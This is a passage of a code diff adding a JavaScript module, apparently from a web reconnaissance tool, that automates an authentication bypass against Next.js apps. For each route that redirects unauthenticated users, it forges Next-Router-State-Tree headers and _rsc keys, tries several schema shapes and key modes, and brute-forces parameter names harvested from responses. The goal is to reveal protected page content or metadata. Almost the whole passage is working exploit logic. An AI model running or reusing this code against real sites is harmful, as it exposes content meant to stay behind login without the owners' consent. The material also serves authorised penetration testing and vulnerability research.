|
|
191
|
+
if (!knownValue)
|
|
192
|
+
return [];
|
|
193
|
+
const escapedValue = knownValue.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
194
|
+
const candidates = new Set();
|
|
195
|
+
const anchored = body.matchAll(new RegExp(`"([A-Za-z_$][A-Za-z0-9_$]{0,40})"\\s*:\\s*"${escapedValue}"`, "g"));
|
|
196
|
+
for (const m of anchored)
|
|
197
|
+
candidates.add(m[1]);
|
|
198
|
+
const bracketed = body.matchAll(/\/\[([A-Za-z_$][A-Za-z0-9_$]{0,40})\]/g);
|
|
199
|
+
for (const m of bracketed)
|
|
200
|
+
candidates.add(m[1]);
|
|
201
|
+
return [...candidates].filter((c) => !PARAM_NAME_CANDIDATE_NOISE.has(c) && c.length <= 24);
|
|
202
|
+
};
|
|
203
|
+
/** Resolves an extracted chunk path (with or without a `_next/` prefix) to an absolute URL. */
|
|
204
|
+
const resolveChunkUrl = (chunkPath, origin) => {
|
|
205
|
+
const normalized = chunkPath.startsWith("_next/") ? chunkPath : `_next/${chunkPath}`;
|
|
206
|
+
return new URL(`/${normalized}`, origin).toString();
|
|
207
|
+
};
|
|
208
|
+
const REQUEST_TIMEOUT_MS = 15000;
|
|
209
|
+
/** Renders an ancestor-segment list back to its literal URL path, for the `Next-Url` header. */
|
|
210
|
+
const ancestorsToPath = (ancestors) => ancestors.map(ancestorSegmentValue).join("/");
|
|
211
|
+
/** True when at least one ancestor segment is a dynamic-route claim (see `AncestorSegment`). */
|
|
212
|
+
const hasDynamicSegment = (ancestors) => ancestors.some((s) => typeof s !== "string");
|
|
213
|
+
/** Sends one forged-ancestor RSC request and reports whether it looks like a successful bypass. */
|
|
214
|
+
const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
|
|
215
|
+
var _a;
|
|
216
|
+
const stateTree = buildStateTreeHeader(ancestors, leafMode, tupleLength);
|
|
217
|
+
const nextUrl = "/" + ancestorsToPath(ancestors);
|
|
218
|
+
const rscKey = keyMode === "legacy" ? computeLegacyRscKey(stateTree, nextUrl) : computeStrongRscKey(stateTree, nextUrl);
|
|
219
|
+
const forgedUrl = new URL(candidateUrl);
|
|
220
|
+
forgedUrl.searchParams.set("_rsc", rscKey);
|
|
221
|
+
const forged = yield rawRequest(forgedUrl.toString(), {
|
|
222
|
+
timeout,
|
|
223
|
+
headers: {
|
|
224
|
+
RSC: "1",
|
|
225
|
+
"Next-Router-State-Tree": stateTree,
|
|
226
|
+
"Next-Url": nextUrl,
|
|
227
|
+
},
|
|
228
|
+
});
|
|
229
|
+
if (!forged)
|
|
230
|
+
return { success: false, body: "" };
|
|
231
|
+
const contentType = (_a = forged.headers["content-type"]) !== null && _a !== void 0 ? _a : "";
|
|
232
|
+
const success = forged.status === 200 && contentType.includes("text/x-component") && !containsNextRedirectMarker(forged.body);
|
|
233
|
+
return { success, body: forged.body };
|
|
234
|
+
});
|
|
235
|
+
/**
|
|
236
|
+
* Tries the cheap legacy key first (no SHA-256 needed); only computes and retries with the
|
|
237
|
+
* strong key if the legacy attempt didn't succeed. Reports which key mode actually worked.
|
|
238
|
+
*/
|
|
239
|
+
const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
|
|
240
|
+
const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout, tupleLength);
|
|
241
|
+
if (legacy.success)
|
|
242
|
+
return Object.assign(Object.assign({}, legacy), { keyMode: "legacy" });
|
|
243
|
+
const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout, tupleLength);
|
|
244
|
+
return Object.assign(Object.assign({}, strong), { keyMode: "strong" });
|
|
245
|
+
});
|
|
246
|
+
/** Both dynamic-segment tuple lengths real Next.js servers can require — see `DynamicTupleLength`. */
|
|
247
|
+
const DYNAMIC_TUPLE_LENGTHS = [4, 3];
|
|
248
|
+
/**
|
|
249
|
+
* Wraps `attemptForgeWithKeyFallback` with a schema-shape fallback: an ancestor list with no
|
|
250
|
+
* dynamic segment is tried once (tuple length is irrelevant — no dynamic segment ever reaches
|
|
251
|
+
* `toSegmentRepr`'s tuple branch), but a list containing a dynamic-ancestor claim is retried
|
|
252
|
+
* under each of `DYNAMIC_TUPLE_LENGTHS` until one is accepted, since a black-box crawl can't
|
|
253
|
+
* know which schema shape the target's Next.js build expects (see `DynamicTupleLength`).
|
|
254
|
+
*/
|
|
255
|
+
const attemptForgeWithSchemaFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
|
|
256
|
+
if (!hasDynamicSegment(ancestors)) {
|
|
257
|
+
return attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, 4);
|
|
258
|
+
}
|
|
259
|
+
let last = { success: false, body: "", keyMode: "legacy" };
|
|
260
|
+
for (const tupleLength of DYNAMIC_TUPLE_LENGTHS) {
|
|
261
|
+
last = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, tupleLength);
|
|
262
|
+
if (last.success)
|
|
263
|
+
return last;
|
|
264
|
+
}
|
|
265
|
+
return last;
|
|
266
|
+
});
|
|
267
|
+
const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
|
|
268
|
+
/**
|
|
269
|
+
* For each candidate page URL that redirects an unauthenticated request, retries as an
|
|
270
|
+
* RSC fetch with a forged `Next-Router-State-Tree` claiming known ancestor segments are
|
|
271
|
+
* already mounted. If Next.js skips re-executing that ancestor's layout component (see
|
|
272
|
+
* js-recon-internal-docs#142), the response comes back 200 without a NEXT_REDIRECT
|
|
273
|
+
* record — content a plain crawl would never see.
|
|
274
|
+
*
|
|
275
|
+
* Two leaf modes are tried per candidate: an ordinary `page` claim (full body disclosure)
|
|
276
|
+
* first, and — only if every `page` attempt fails — a `metadata-only` claim, which can
|
|
277
|
+
* still leak dynamic `generateMetadata()` output even where a full-body claim doesn't
|
|
278
|
+
* cleanly apply (e.g. a tenant-scoped layout). Within each leaf mode, `tryAttempts` returns
|
|
279
|
+
* on the first success it finds among `buildAncestorAttempts`' ordered list, so that list is
|
|
280
|
+
* ordered most-to-least specific (dynamic-ancestor guesses, then the static full-chain claim,
|
|
281
|
+
* then the coarse first-segment-only claim) — a weak/coarse match must never be allowed to
|
|
282
|
+
* short-circuit past a stronger, more specific one in the same pass (internal-docs#172).
|
|
283
|
+
*
|
|
284
|
+
* Every dynamic-ancestor guess is tried against both `DYNAMIC_TUPLE_LENGTHS` schema shapes
|
|
285
|
+
* (see `DynamicTupleLength`), since a black-box crawl can't know which Next.js release the
|
|
286
|
+
* target runs and the two shapes are mutually exclusive (Next.js's schema validation rejects
|
|
287
|
+
* both a too-short AND a too-long tuple).
|
|
288
|
+
*
|
|
289
|
+
* If every `COMMON_DYNAMIC_PARAM_NAMES` guess fails for both leaf modes, a bounded fallback
|
|
290
|
+
* kicks in (internal#158): every response body already returned by those failed attempts
|
|
291
|
+
* (no extra requests — it's information already paid for) is scanned via
|
|
292
|
+
* `extractParamNameCandidatesFromFlightBody` for the app's real param name. If that turns up
|
|
293
|
+
* any name not already in the fixed list, one bonus round of dynamic-guess attempts is tried
|
|
294
|
+
* with those harvested names (capped at `rscParamBruteforceLimit`; `0` disables this
|
|
295
|
+
* fallback entirely) — for each leaf mode, whenever that leaf mode's fixed-list pass didn't
|
|
296
|
+
* already produce a dynamic-ancestor match (see `tryAttempts`' `matchedDynamic` flag). A
|
|
297
|
+
* *weak* fixed-list success (a static/coarse ancestor claim, not a dynamic one) still lets
|
|
298
|
+
* the harvest-bonus round run — otherwise a real param name outside the fixed wordlist could
|
|
299
|
+
* never be tried at all, because the coarse claim's own success would permanently mask it
|
|
300
|
+
* (internal-docs#172, confirmed live: the coarse first-segment claim satisfies
|
|
301
|
+
* `metadata-only`'s success check while the real dynamic-ancestor claim, only reachable via
|
|
302
|
+
* harvesting, reveals the actually-scoped content).
|
|
303
|
+
*/
|
|
304
|
+
const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __awaiter(void 0, [candidateUrls_1, threads_1, ...args_1], void 0, function* (candidateUrls, threads, timeout = REQUEST_TIMEOUT_MS, rscParamBruteforceLimit = DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT) {
|
|
305
|
+
const bypassedUrls = [];
|
|
306
|
+
const metadataOnlyBypassedUrls = [];
|
|
307
|
+
const legacyKeyAcceptedUrls = [];
|
|
308
|
+
const newJsUrls = [];
|
|
309
|
+
yield runWithConcurrency(candidateUrls, threads, (candidateUrl) => __awaiter(void 0, void 0, void 0, function* () {
|
|
310
|
+
let parsed;
|
|
311
|
+
try {
|
|
312
|
+
parsed = new URL(candidateUrl);
|
|
313
|
+
}
|
|
314
|
+
catch (_a) {
|
|
315
|
+
return;
|
|
316
|
+
}
|
|
317
|
+
const segments = parsed.pathname.split("/").filter(Boolean);
|
|
318
|
+
if (segments.length === 0)
|
|
319
|
+
return;
|
|
320
|
+
// Only worth forging against routes that actually redirect an unauthenticated request.
|
|
321
|
+
const baseline = yield rawRequest(candidateUrl, { timeout });
|
|
322
|
+
if (!baseline || baseline.status < 300 || baseline.status >= 400)
|
|
323
|
+
return;
|
|
324
|
+
const recordChunks = (body) => {
|
|
325
|
+
for (const chunkPath of extractChunkPathsFromFlightBody(body)) {
|
|
326
|
+
newJsUrls.push(resolveChunkUrl(chunkPath, parsed.origin));
|
|
327
|
+
}
|
|
328
|
+
};
|
|
329
|
+
// The literal value of the ancestor segment that a dynamic-route guess would target
|
|
330
|
+
// (same one `buildAncestorAttempts` re-tries as each candidate param name), used to
|
|
331
|
+
// anchor RSC-body harvesting. `undefined` when there's no such candidate slot at all
|
|
332
|
+
// (matches `buildAncestorAttempts`'s own guard).
|
|
333
|
+
const allButLeaf = segments.slice(0, -1);
|
|
334
|
+
const lastAncestorValue = allButLeaf.length > 0 && allButLeaf.join("/") !== segments[0]
|
|
335
|
+
? allButLeaf[allButLeaf.length - 1]
|
|
336
|
+
: undefined;
|
|
337
|
+
const harvestedNames = new Set();
|
|
338
|
+
const ancestorAttempts = buildAncestorAttempts(segments);
|
|
339
|
+
/** Tries every attempt in `attempts` under `leafMode`, harvesting param-name
|
|
340
|
+
* candidates from each body along the way; records the hit and returns on the first
|
|
341
|
+
* success. `matchedDynamic` reports whether that success came from a dynamic-ancestor
|
|
342
|
+
* claim (the strongest possible match) as opposed to a static/coarse one — callers use
|
|
343
|
+
* it to decide whether a weak success should still be followed by the harvested-name
|
|
344
|
+
* bonus round (see internal-docs#172: a coarse match succeeding must not, by itself,
|
|
345
|
+
* prevent a stronger dynamic-ancestor match — recovered only via harvesting when the
|
|
346
|
+
* real param name isn't in the fixed wordlist — from being tried in the same pass). */
|
|
347
|
+
const tryAttempts = (attempts, leafMode) => __awaiter(void 0, void 0, void 0, function* () {
|
|
348
|
+
for (const ancestors of attempts) {
|
|
349
|
+
const result = yield attemptForgeWithSchemaFallback(candidateUrl, ancestors, leafMode, timeout);
|
|
350
|
+
if (lastAncestorValue && result.body) {
|
|
351
|
+
for (const name of extractParamNameCandidatesFromFlightBody(result.body, lastAncestorValue)) {
|
|
352
|
+
harvestedNames.add(name);
|
|
353
|
+
}
|
|
354
|
+
}
|
|
355
|
+
if (result.success) {
|
|
356
|
+
const verb = leafMode === "page" ? "revealed content" : "revealed metadata";
|
|
357
|
+
const prefix = leafMode === "page"
|
|
358
|
+
? "Forged next-router-state-tree bypass"
|
|
359
|
+
: "Forged metadata-only next-router-state-tree bypass";
|
|
360
|
+
printMsg(MSG.Run, `[✓] ${prefix} ${verb}: ${candidateUrl} (claimed ancestor: /${ancestorsToPath(ancestors)}, ${result.keyMode} _rsc key)`);
|
|
361
|
+
(leafMode === "page" ? bypassedUrls : metadataOnlyBypassedUrls).push(candidateUrl);
|
|
362
|
+
if (result.keyMode === "legacy")
|
|
363
|
+
legacyKeyAcceptedUrls.push(candidateUrl);
|
|
364
|
+
recordChunks(result.body);
|
|
365
|
+
return { success: true, matchedDynamic: hasDynamicSegment(ancestors) };
|
|
366
|
+
}
|
|
367
|
+
}
|
|
368
|
+
return { success: false, matchedDynamic: false };
|
|
369
|
+
});
|
|
370
|
+
/** Bonus round of dynamic-guess-only attempts built from names harvested so far but
|
|
371
|
+
* not already covered by the fixed wordlist; `[]` (no-op) if nothing new was found
|
|
372
|
+
* or the fallback is disabled. `buildAncestorAttempts` orders dynamic guesses first,
|
|
373
|
+
* followed by the two static (allButLeaf, first-segment-only) attempts already tried
|
|
374
|
+
* in the fixed-list pass — drop those two trailing entries here. */
|
|
375
|
+
const harvestBonusAttempts = () => {
|
|
376
|
+
if (rscParamBruteforceLimit <= 0)
|
|
377
|
+
return [];
|
|
378
|
+
const newNames = [...harvestedNames].filter((n) => !COMMON_DYNAMIC_PARAM_NAMES.includes(n));
|
|
379
|
+
if (newNames.length === 0)
|
|
380
|
+
return [];
|
|
381
|
+
return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(0, -2);
|
|
382
|
+
};
|
|
383
|
+
// A weak/coarse success (no dynamic-ancestor segment in the winning claim) does not
|
|
384
|
+
// skip the harvested-name bonus round — only a success that already matched a dynamic
|
|
385
|
+
// ancestor is the strongest result this pass can produce (internal-docs#172).
|
|
386
|
+
let pageResult = yield tryAttempts(ancestorAttempts, "page");
|
|
387
|
+
if (!pageResult.success || !pageResult.matchedDynamic) {
|
|
388
|
+
const bonusResult = yield tryAttempts(harvestBonusAttempts(), "page");
|
|
389
|
+
if (bonusResult.success)
|
|
390
|
+
pageResult = bonusResult;
|
|
391
|
+
}
|
|
392
|
+
if (pageResult.success)
|
|
393
|
+
return;
|
|
394
|
+
const metadataResult = yield tryAttempts(ancestorAttempts, "metadata-only");
|
|
395
|
+
if (!metadataResult.success || !metadataResult.matchedDynamic) {
|
|
396
|
+
yield tryAttempts(harvestBonusAttempts(), "metadata-only");
|
|
397
|
+
}
|
|
398
|
+
}));
|
|
399
|
+
return {
|
|
400
|
+
bypassedUrls: [...new Set(bypassedUrls)],
|
|
401
|
+
metadataOnlyBypassedUrls: [...new Set(metadataOnlyBypassedUrls)],
|
|
402
|
+
legacyKeyAcceptedUrls: [...new Set(legacyKeyAcceptedUrls)],
|
|
403
|
+
newJsUrls: [...new Set(newJsUrls)],
|
|
404
|
+
};
|
|
405
|
+
});
|
|
406
|
+
export default next_routerStateForge;
|
|
407
|
+
//# sourceMappingURL=next_routerStateForge.js.map
|